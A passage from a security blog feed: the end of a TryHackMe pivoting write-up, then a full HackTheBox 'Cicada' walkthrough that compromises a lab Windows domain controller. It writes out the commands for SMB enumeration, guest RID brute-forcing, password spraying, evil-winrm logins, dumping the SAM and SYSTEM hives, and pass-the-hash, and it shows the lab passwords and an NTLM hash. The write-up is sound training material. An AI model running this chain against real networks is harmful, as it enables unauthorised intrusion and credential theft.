<p>Between RDP, WinRM, and a bare HTTP service on an unfamiliar port, the HTTP service was the right bet. Narrow, well documented Microsoft protocols on a patched box are a worse target than an unknown web app, especially on a dev’s machine.</p>

<h3 id="8-fork-on-a-socat-relay-isnt-optional">8. <code class="language-plaintext highlighter-rouge">fork</code> on a Socat Relay Isn’t Optional</h3>

<p>Forget it and the relay serves exactly one connection then dies quiet. <code class="language-plaintext highlighter-rouge">jobs</code> showing <code class="language-plaintext highlighter-rouge">[1]+ Done</code> instead of a running process is the tell.</p>

<h3 id="9-credential-reuse-is-the-real-vulnerability-here">9. Credential Reuse Is the Real Vulnerability Here</h3>

<p>Neither exploit needed credentials, but <code class="language-plaintext highlighter-rouge">twreath</code> showing up as a valid user on two completely separate services across two machines says everything about how this environment’s actually built.</p>

<p>Thomas’ recovered password is very likely reusable elsewhere in this environment, which is exactly the kind of lead that turns into the next phase of a real engagement. Whether that gets pulled on inside this room or a follow up post depends on where the rest of Wreath goes from here.</p>

<p>TILL NEXT TIMEEE</p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExcHlza3FyOTdmdTBhcGNzemM0bjJtc2JrZzM4eHphbDY2czdjeHpmZSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/lh6EKzQdQghw784jvq/giphy.gif" style="width: 100%; height: auto;" alt="pivoting" /></p>

<table>
  <tbody>
    <tr>
      <td>_Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>_</td>
    </tr>
  </tbody>
</table>]]></content><author><name>0x5h4q</name></author><category term="TryHackMe" /><category term="Pivoting" /><category term="thm" /><category term="pivoting" /><category term="webmin" /><category term="gitstack" /><category term="sshuttle" /><category term="socat" /><category term="rce" /><category term="active-directory" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">HTB Cicada — Anonymous Share Leak, Guest RID-Brute &amp;amp; Backup Operators to Domain Admin</title><link href="https://0x5h4q.github.io/hackthebox/active%20directory/htb-cicada-writeup/" rel="alternate" type="text/html" title="HTB Cicada — Anonymous Share Leak, Guest RID-Brute &amp;amp; Backup Operators to Domain Admin" /><published>2026-08-29T00:00:00+01:00</published><updated>2026-08-29T00:00:00+01:00</updated><id>https://0x5h4q.github.io/hackthebox/active%20directory/htb-cicada-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/hackthebox/active%20directory/htb-cicada-writeup/"><![CDATA[<style>
p {
  text-align: justify;
}
</style>

<h1 id="htb-cicada">HTB Cicada</h1>

<p><strong>Difficulty:</strong> Easy<br />
<strong>OS:</strong> Windows Server 2022<br />
<strong>Platform:</strong> HackTheBox<br />
<strong>Category:</strong> Active Directory<br />
<strong>Status:</strong> Active</p>

<hr />

<h2 id="overview">Overview</h2>

<p>Cicada is a clean, no-exploit-code chain built entirely on default credentials and enumeration discipline. It starts with an anonymously readable SMB share leaking a new-hire default password, pivots through a Guest-authenticated RID brute-force once anonymous SAMR access turns out to be locked down, sprays the leaked password across real usernames, chains two more credential leaks (a user description field, then a hardcoded credential in a backup script), and finishes with SeBackupPrivilege abuse to dump the local SAM and pass-the-hash as Administrator.</p>

<p>Every step is the good ol typical “DON’T PUT CREDS IN YOUR SMB SHARES!!!” scenario. Nothing here needed a CVE.</p>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap">Nmap</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sS</span> <span class="nt">-sV</span> <span class="nt">-T4</span> <span class="nt">-A</span> <span class="nt">-Pn</span> 10.129.231.149
</code></pre></div></div>

<p>The scan identifies a Windows Server 2022 domain controller exposing the typical Active Directory services:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos <span class="o">(</span>server <span class="nb">time</span>: 2026-08-29 17:34:33Z<span class="o">)</span>
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: cicada.htb, Site: Default-First-Site-Name<span class="o">)</span>
|_ssl-date: 2026-08-29T17:36:22+00:00<span class="p">;</span> +7h00m00s from scanner time.
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: cicada.htb, Site: Default-First-Site-Name<span class="o">)</span>
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:21+00:00<span class="p">;</span> +6h59m59s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: cicada.htb, Site: Default-First-Site-Name<span class="o">)</span>
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:22+00:00<span class="p">;</span> +6h59m59s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: cicada.htb, Site: Default-First-Site-Name<span class="o">)</span>
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:21+00:00<span class="p">;</span> +7h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
57349/tcp open  msrpc         Microsoft Windows RPC

</code></pre></div></div>

<p><strong>Domain:</strong> <code class="language-plaintext highlighter-rouge">cicada.htb</code><br />
<strong>Domain Controller:</strong> <code class="language-plaintext highlighter-rouge">CICADA-DC</code><br />
<strong>OS:</strong> Windows Server 2022 Build 20348</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.231.149 cicada-dc.cicada.htb cicada.htb"</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<p><strong>Starting credentials:</strong> none. Fully unauthenticated start.</p>

<hr />

<h2 id="enumeration">Enumeration</h2>

<h3 id="enum4linux--null-session-mostly-locked-down">enum4linux — Null Session, Mostly Locked Down</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enum4linux <span class="nt">-a</span> <span class="nt">-r</span> <span class="nt">-K</span> 5000 10.129.231.149
</code></pre></div></div>

<p>The null session connects successfully:</p>

<p><img src="/assets/images/CICADA/enum.png" alt="enum4linux" /></p>

<p>The domain SID also resolves successfully, identifying the <code class="language-plaintext highlighter-rouge">CICADA</code> domain.</p>

<p>However, the SAMR-backed enumeration attempts are denied:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NT_STATUS_ACCESS_DENIED
</code></pre></div></div>

<p>This affects:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">querydispinfo</code></li>
  <li><code class="language-plaintext highlighter-rouge">enumdomusers</code></li>
  <li>RID cycling</li>
  <li>Password policy enumeration</li>
  <li>Group enumeration</li>
  <li>Other SAMR-backed queries</li>
</ul>

<p>Anonymous share enumeration through the same path is also denied.</p>

<p>This is consistent with <code class="language-plaintext highlighter-rouge">RestrictAnonymousSAM</code>.</p>

<p>Confirm null authentication with NetExec:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.129.231.149 <span class="nt">-u</span> <span class="s1">''</span> <span class="nt">-p</span> <span class="s1">''</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SMB   10.129.231.149  445  CICADA-DC  Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   10.129.231.149  445  CICADA-DC  [+] cicada.htb\:
</code></pre></div></div>

<p>Null authentication is accepted for the SMB connection itself, but SAMR enumeration remains restricted.</p>

<p>The important takeaway is that <strong>anonymous SMB authentication being accepted does not mean anonymous access to every SMB/RPC function is available</strong>.</p>

<hr />

<h2 id="foothold--an-anonymous-share-leaks-a-default-passwordtypical-">Foothold — An Anonymous Share Leaks a Default Password…typical ;)</h2>

<h3 id="listing-shares-directly">Listing Shares Directly</h3>

<p>The <code class="language-plaintext highlighter-rouge">--shares</code> functionality of some enumeration tools can encounter restrictions through RPC/SAMR paths. A direct SMB tree connection provides another route for testing share access:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> <span class="nt">-L</span> //10.129.231.149/
</code></pre></div></div>

<p>The server exposes:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
DEV             Disk
HR              Disk
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      System Volume
</code></pre></div></div>

<p>Two non-default shares immediately stand out:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">DEV</code></li>
  <li><code class="language-plaintext highlighter-rouge">HR</code></li>
</ul>

<p>Test <code class="language-plaintext highlighter-rouge">DEV</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> //10.129.231.149/DEV <span class="nt">-c</span> <span class="s1">'ls'</span>
</code></pre></div></div>

<p>Access is denied.</p>

<p>Test <code class="language-plaintext highlighter-rouge">HR</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> //10.129.231.149/HR <span class="nt">-c</span> <span class="s1">'ls'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Notice from HR.txt   A   1266   Wed Aug 28 17:31:48 2024
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">HR</code> share is anonymously readable.</p>

<h3 id="reading-the-notice">Reading the Notice</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-N</span> //10.129.231.149/HR <span class="nt">-c</span> <span class="s1">'get "Notice from HR.txt"'</span>

<span class="nb">cat</span> <span class="s2">"Notice from HR.txt"</span>
</code></pre></div></div>

<p>The file contains a new-hire welcome notice containing a default password:</p>

<p><img src="/assets/images/CICADA/hr.png" alt="HR" /></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Your default password is: Cicada$M6Corpb*@Lp#nZp!8
</code></pre></div></div>

<p>The password is valuable, but there is no username attached to it.</p>

<p>At this point, anonymous SAMR enumeration is still blocked, so the next objective is finding a way to enumerate domain users.</p>

<hr />

<h2 id="enumeration--guest-auth-unlocks-what-null-auth-couldnt">Enumeration — Guest Auth Unlocks What Null Auth Couldn’t</h2>

<h3 id="anonymous-samr-vs-guest-samr">Anonymous SAMR vs Guest SAMR</h3>

<p><code class="language-plaintext highlighter-rouge">RestrictAnonymousSAM</code> filters the <strong>ANONYMOUS LOGON</strong> security identity:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>S-1-5-7
</code></pre></div></div>

<p>This is different from authenticating as an actual account.</p>

<p>The Guest account is a real security principal. Even though it has extremely limited privileges, authenticating as Guest gives the server a different security context from anonymous access.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.129.231.149 <span class="nt">-u</span> <span class="s1">'guest'</span> <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--rid-brute</span> 10000
</code></pre></div></div>

<p>The domain begins resolving real objects:</p>

<p><img src="/assets/images/CICADA/users.png" alt="users" /></p>

<p>The important user accounts are:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Dev Support</code> group is also interesting because it potentially explains access to the previously inaccessible <code class="language-plaintext highlighter-rouge">DEV</code> share.</p>

<hr />

<h2 id="password-spraying-the-leaked-default-password">Password Spraying the Leaked Default Password</h2>

<p>Create a user list:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> users.txt <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">EOF</span><span class="sh">'
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
</span><span class="no">EOF
</span></code></pre></div></div>

<p>Spray the leaked default password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.129.231.149 <span class="nt">-u</span> users.txt <span class="nt">-p</span> <span class="s1">'Cicada$M6Corpb*@Lp#nZp!8'</span>
</code></pre></div></div>

<p>The result identifies a valid credential:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-] cicada.htb\john.smoulder:...        STATUS_LOGON_FAILURE
[-] cicada.htb\sarah.dantelia:...       STATUS_LOGON_FAILURE
[+] cicada.htb\michael.wrightson:...
</code></pre></div></div>

<p>The successful credential is:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael.wrightson
Cicada$M6Corpb*@Lp#nZp!8
</code></pre></div></div>

<p>Michael never changed the onboarding password…sigh ಠ_ಠ</p>

<hr />

<h1 id="lateral-movement">Lateral Movement</h1>

<h2 id="leak-1--a-password-sitting-in-a-description-field">Leak #1 — A Password Sitting in a Description Field</h2>

<p>Authenticated SAMR access now provides considerably more information than the anonymous session.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb 10.129.231.149 <span class="nt">-u</span> <span class="s1">'michael.wrightson'</span> <span class="nt">-p</span> <span class="s1">'Cicada$M6Corpb*@Lp#nZp!8'</span> <span class="nt">--users</span>
</code></pre></div></div>
<p><img src="/assets/images/CICADA/david.png" alt="david" /></p>

<p>Among the returned user information is a description containing another plaintext credential:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>david.orelious   2024-03-14 12:17:29   0   Just in case I forget my password is aRt$Lp#7t*VQ!3
</code></pre></div></div>

<p>The credential is:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Username: david.orelious
Password: aRt$Lp#7t*VQ!3
</code></pre></div></div>

<p>This is a classic example of sensitive credentials being stored in an Active Directory user description.</p>

<hr />

<h2 id="leak-2--a-hardcoded-credential-in-a-backup-script">Leak #2 — A Hardcoded Credential in a Backup Script</h2>

<p>Use David’s credentials against the <code class="language-plaintext highlighter-rouge">DEV</code> share:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-U</span> <span class="s1">'cicada.htb\david.orelious%aRt$Lp#7t*VQ!3'</span> //10.129.231.149/DEV <span class="nt">-c</span> <span class="s1">'ls'</span>
</code></pre></div></div>

<p>The previously inaccessible share now reveals:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Backup_script.ps1   A   601   Wed Aug 28 17:28:22 2024
</code></pre></div></div>

<p>Download the script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient <span class="nt">-U</span> <span class="s1">'cicada.htb\david.orelious%aRt$Lp#7t*VQ!3'</span> //10.129.231.149/DEV <span class="nt">-c</span> <span class="s1">'get Backup_script.ps1'</span>
</code></pre></div></div>

<p>The script contains another hardcoded credential:</p>

<p><img src="/assets/images/CICADA/emily.png" alt="emily" /></p>

<p>This gives us the third account in the credential chain:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Username: emily.oscars
Password: Q!3@Lp#M6b*7t*Vt
</code></pre></div></div>

<hr />

<h1 id="user-flag">User Flag</h1>

<h2 id="enumerating-emilys-group-membership">Enumerating Emily’s Group Membership</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc ldap 10.129.231.149 <span class="nt">-u</span> <span class="s1">'emily.oscars'</span> <span class="nt">-p</span> <span class="s1">'Q!3@Lp#M6b*7t*Vt'</span> <span class="nt">--groups</span>
</code></pre></div></div>

<p>The account belongs to:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Backup Operators
</code></pre></div></div>

<p>The group description is significant:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Backup Operators can override security restrictions for the sole purpose of backing up or restoring files
</code></pre></div></div>

<h3 id="obtaining-a-winrm-shell">Obtaining a WinRM Shell</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> 10.129.231.149 <span class="nt">-u</span> <span class="s1">'emily.oscars'</span> <span class="nt">-p</span> <span class="s1">'Q!3@Lp#M6b*7t*Vt'</span>
</code></pre></div></div>

<p>Check the user’s privileges:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span></code></pre></div></div>
<p><img src="/assets/images/CICADA/backup.png" alt="Backup" /></p>

<p>The important entries are:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SeBackupPrivilege    Back up files and directories   Enabled
SeRestorePrivilege   Restore files and directories   Enabled
</code></pre></div></div>

<p>Both privileges are actually <strong>Enabled</strong>, not merely assigned to the account.</p>

<h3 id="capturing-the-user-flag">Capturing the User Flag</h3>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cd</span><span class="w"> </span><span class="nx">C:\Users\emily.oscars.CICADA\Desktop</span><span class="w">
</span><span class="kr">type</span><span class="w"> </span><span class="n">user.txt</span><span class="w">
</span></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[REDACTED]
</code></pre></div></div>

<p><strong>User flag captured.</strong> ✅</p>

<hr />

<h1 id="privilege-escalation--sebackupprivilege-to-local-administrator">Privilege Escalation — SeBackupPrivilege to Local Administrator</h1>

<h2 id="dumping-the-sam-and-system-hives">Dumping the SAM and SYSTEM Hives</h2>

<p><code class="language-plaintext highlighter-rouge">SeBackupPrivilege</code> allows a process to read protected files for backup purposes, bypassing normal filesystem ACL restrictions in the appropriate security context.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">reg</span><span class="w"> </span><span class="nx">save</span><span class="w"> </span><span class="nx">hklm\sam</span><span class="w"> </span><span class="nx">C:\Windows\Temp\sam.save</span><span class="w">
</span><span class="n">reg</span><span class="w"> </span><span class="nx">save</span><span class="w"> </span><span class="nx">hklm\system</span><span class="w"> </span><span class="nx">C:\Windows\Temp\system.save</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">SECURITY</code> hive is not required for this attack path.</p>

<hr />

<h2 id="downloading-the-hives">Downloading the Hives</h2>

<p>From the Evil-WinRM session:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cd</span><span class="w"> </span><span class="nx">C:\Windows\Temp</span><span class="w">
</span></code></pre></div></div>

<p>Download both files:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>download sam.save
download system.save
</code></pre></div></div>

<p>Downloading from <code class="language-plaintext highlighter-rouge">C:\Windows\Temp</code> after changing into the directory avoids path/escaping issues with Windows paths.</p>

<hr />

<h2 id="extracting-the-local-administrator-hash">Extracting the Local Administrator Hash</h2>

<p>Use Impacket’s <code class="language-plaintext highlighter-rouge">secretsdump.py</code> locally:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py <span class="nt">-sam</span> sam.save <span class="nt">-system</span> system.save LOCAL
</code></pre></div></div>

<p>The extracted local Administrator account contains an NTLM hash:</p>

<p><img src="/assets/images/CICADA/hash.png" alt="Hash" /></p>

<p>The important value is the NTLM hash:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2b87e7c93a3e8a0ea4a581937016f341
</code></pre></div></div>

<p>This is a <strong>local SAM credential</strong>, not a domain database credential.</p>

<hr />

<h1 id="root-flag">Root Flag</h1>

<h2 id="pass-the-hash">Pass-the-Hash</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> 10.129.231.149 <span class="nt">-u</span> Administrator <span class="nt">-H</span> <span class="s1">'2b87e7c93a3e8a0ea4a581937016f341'</span>
</code></pre></div></div>

<p>Navigate to the Administrator desktop:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cd</span><span class="w"> </span><span class="nx">C:\Users\Administrator\Desktop</span><span class="w">
</span><span class="kr">type</span><span class="w"> </span><span class="n">root.txt</span><span class="w">
</span></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[REDACTED]
</code></pre></div></div>

<p><strong>Root flag captured. Box pwned.</strong> ✅</p>

<hr />

<h1 id="full-attack-chain">Full Attack Chain</h1>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Anonymous SMB session
        |
        | RestrictAnonymousSAM blocks anonymous SAMR enumeration
        |
        v
Direct SMB share enumeration
        |
        v
HR share readable anonymously
        |
        v
"Notice from HR.txt"
        |
        v
Default password discovered
        |
        v
Guest authentication
        |
        | Guest is a real security principal
        |
        v
RID brute-force
        |
        v
Domain usernames discovered
        |
        v
Password spray
        |
        v
michael.wrightson
        |
        v
Authenticated SAMR enumeration
        |
        v
david.orelious password exposed
in user description
        |
        v
david.orelious
        |
        v
DEV share access
        |
        v
Backup_script.ps1
        |
        v
emily.oscars credentials
hardcoded in script
        |
        v
emily.oscars
        |
        v
Backup Operators
        |
        v
SeBackupPrivilege
        |
        v
reg save SAM + SYSTEM
        |
        v
secretsdump.py
        |
        v
Local Administrator NTLM hash
        |
        v
Pass-the-Hash
        |
        v
Administrator shell
        |
        v
ROOT FLAG
</code></pre></div></div>

<hr />

<h1 id="what-did-we-learn">What Did We Learn?</h1>

<h2 id="1-anonymous-smb-access-and-anonymous-samr-access-are-different">1. Anonymous SMB Access and Anonymous SAMR Access Are Different</h2>

<p><code class="language-plaintext highlighter-rouge">RestrictAnonymousSAM</code> controls access to SAMR operations for the <strong>ANONYMOUS LOGON</strong> identity.</p>

<p>It does not automatically mean that every SMB share is inaccessible anonymously.</p>

<p>A server can therefore have:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Anonymous SMB connection    -&gt; allowed
Anonymous SAMR enumeration   -&gt; denied
Anonymous HR share access    -&gt; allowed
</code></pre></div></div>

<p>Getting denied by <code class="language-plaintext highlighter-rouge">enum4linux</code> does not necessarily mean there is nothing else to enumerate.</p>

<p>Directly testing SMB shares can reveal a completely different attack surface.</p>

<hr />

<h2 id="2-guest-is-a-real-identity-anonymous-is-not">2. Guest Is a Real Identity; Anonymous Is Not</h2>

<p>The distinction between:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ANONYMOUS LOGON
</code></pre></div></div>

<p>and:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CICADA\Guest
</code></pre></div></div>

<p>is extremely important.</p>

<p>Anonymous access represents the absence of an authenticated account.</p>

<p>Guest, on the other hand, is an actual security principal with its own SID.</p>

<p>Therefore, a policy restricting anonymous SAMR access can behave differently when the request comes from Guest.</p>

<p>In this case:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Anonymous -&gt; SAMR denied
Guest     -&gt; RID enumeration succeeds
</code></pre></div></div>

<p>That difference completely changes the enumeration options available to the attacker.</p>

<hr />

<h2 id="3-rid-brute-forcing-does-not-require-a-username-wordlist">3. RID Brute-Forcing Does Not Require a Username Wordlist</h2>

<p>Once an authenticated identity can interact with SAMR, RID brute-forcing can enumerate domain objects by querying sequential RIDs.</p>

<p>Instead of guessing usernames from a wordlist, the attack can discover objects by walking the domain’s RID space.</p>

<p>This exposed:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
</code></pre></div></div>

<p>Enumeration discipline is often more valuable than immediately reaching for an exploit.</p>

<hr />

<h2 id="4-description-fields-can-become-informal-password-managers">4. Description Fields Can Become Informal Password Managers</h2>

<p>David’s password was stored directly inside his Active Directory description:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Just in case I forget my password is ...
</code></pre></div></div>

<p>User descriptions are frequently overlooked during enumeration.</p>

<p>Whenever authenticated directory/SAMR access becomes available, inspect user metadata for:</p>

<ul>
  <li>Passwords</li>
  <li>API keys</li>
  <li>Notes</li>
  <li>Internal URLs</li>
  <li>Temporary credentials</li>
  <li>Operational instructions</li>
  <li>Other sensitive information</li>
</ul>

<hr />

<h2 id="5-backup-scripts-are-common-places-to-find-hardcoded-credentials">5. Backup Scripts Are Common Places to Find Hardcoded Credentials</h2>

<p>The <code class="language-plaintext highlighter-rouge">DEV</code> share contained a PowerShell backup script with a plaintext credential.</p>

<p>The script contained:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"emily.oscars"</span><span class="w">
</span><span class="nv">$password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s2">"Q!3@Lp#M6b*7t*Vt"</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>

<p>Scripts associated with:</p>

<ul>
  <li>Backups</li>
  <li>Scheduled tasks</li>
  <li>Automation</li>
  <li>Deployment</li>
  <li>Service accounts</li>
  <li>Maintenance</li>
</ul>

<p>are worth inspecting during an authorized assessment because credentials are sometimes embedded directly into them.</p>

<hr />

<h2 id="6-backup-operators-can-provide-a-full-local-compromise-path">6. Backup Operators Can Provide a Full Local Compromise Path</h2>

<p>The Emily account belonged to:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Backup Operators
</code></pre></div></div>

<p>and had:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SeBackupPrivilege
SeRestorePrivilege
</code></pre></div></div>

<p>enabled.</p>

<p>The important lesson is that <strong>group membership alone is not enough</strong>. Always verify the effective token:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span></code></pre></div></div>

<p>In this case:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SeBackupPrivilege    Enabled
SeRestorePrivilege   Enabled
</code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">SeBackupPrivilege</code>, protected registry hives can be backed up and extracted offline.</p>

<p>The resulting chain:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SeBackupPrivilege
        ↓
SAM + SYSTEM
        ↓
NTLM hashes
        ↓
Administrator hash
        ↓
Pass-the-Hash
        ↓
Administrator access
</code></pre></div></div>

<p>requires no CVE or memory-corruption exploit.</p>

<p>SAYONARAAA!!!</p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExaDcwNXk0ejFzamRzcjR2Ync5dGEzbHo2MTg1dDU0N2JrYWJkNm4wbSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/DOr0ADKYtLCfvfKwjj/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<table>
  <tbody>
    <tr>
      <td>_Written by 0x5h4q</td>
      <td><a href="https://0x5h4q.github.io">0x5h4q.github.io</a>_</td>
    </tr>
  </tbody>
